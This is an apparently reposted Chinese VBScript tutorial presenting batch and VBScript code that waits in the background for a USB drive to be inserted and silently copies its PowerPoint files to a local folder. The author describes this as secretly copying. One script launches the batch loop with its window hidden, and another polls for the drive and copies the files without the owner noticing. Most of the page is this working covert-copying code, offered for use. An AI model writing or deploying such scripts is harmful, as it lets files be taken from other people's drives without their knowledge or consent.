首页 > 编程 > VBScript > 正文

vbs 自动复制U盘的内容

2020-06-26 18:23:18
字体:
来源:转载
供稿:网友
运行后当把U盘插入电脑后能够自动把U盘里的PPT偷拷下来。下面用记事本就能实现的批处理或vbs。
 
思路很简单,高层的东西没什么技术含量,引用几个函数或方法就行了。开始我用的是批处理(如果你插入U盘的盘符是J,把课件保存于F盘)打开记事本,键入以下内容: 
复制代码代码如下:

:cheat 
ping 127.0.0.1>nul 
if exist J:/*.ppt (copy J:/*.ppt F:/ && exit) else goto cheat 

保存为main.bat,本来这个文件就够实现此功能了,但我想不到有什么DOS命令可以隐藏命令提示符界面,就不得不编了一个vbs脚本专门干这事: 

打开记事本键入: 
复制代码代码如下:

set wshshell=createobject("wscript.shell") 
wshshell.run "main.bat",0 
msgbox"已经注入",48,"夜月" 
wscript.quit 

保存为starter.vbs,注意这个文件要和main.bat放于同一目录下。然后双击starter.vbs即可运行。 

  后来,我想用vbs脚本可以搞得更牛叉一点,但这东西已经好长时间不玩了,我连inputbox都不知道怎么用的了,试了几次才搞得好了一点。很方便,打开记事本,键入: 
复制代码代码如下:

on error resume next 
dim udrive,dfold,src,ptr 
set fso=createobject("Scripting.FileSystemObject") 
do 
udrive=inputbox("请按如下形式输入U盘盘符","用户指令",H) 
loop until(udrive<="Z" and udrive>"B") 
dfold=inputbox("请输入目标文件夹","用户指令","F:/Temp") 
if (not fso.folderexists(dfold)) then 
fso.createfolder(dfold) 
end if 
src=udrive + ":/*.ppt" 
ptr=dfold + "/" 
do while(1=1) 
if fso.driveexists(udrive) then 
fso.copyfile src,ptr,true 
set fso=nothing 
wscript.quit 
end if 
wscript.sleep 2000 
loop 


以上内容另存为xue.vbs即可,双击后运行。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表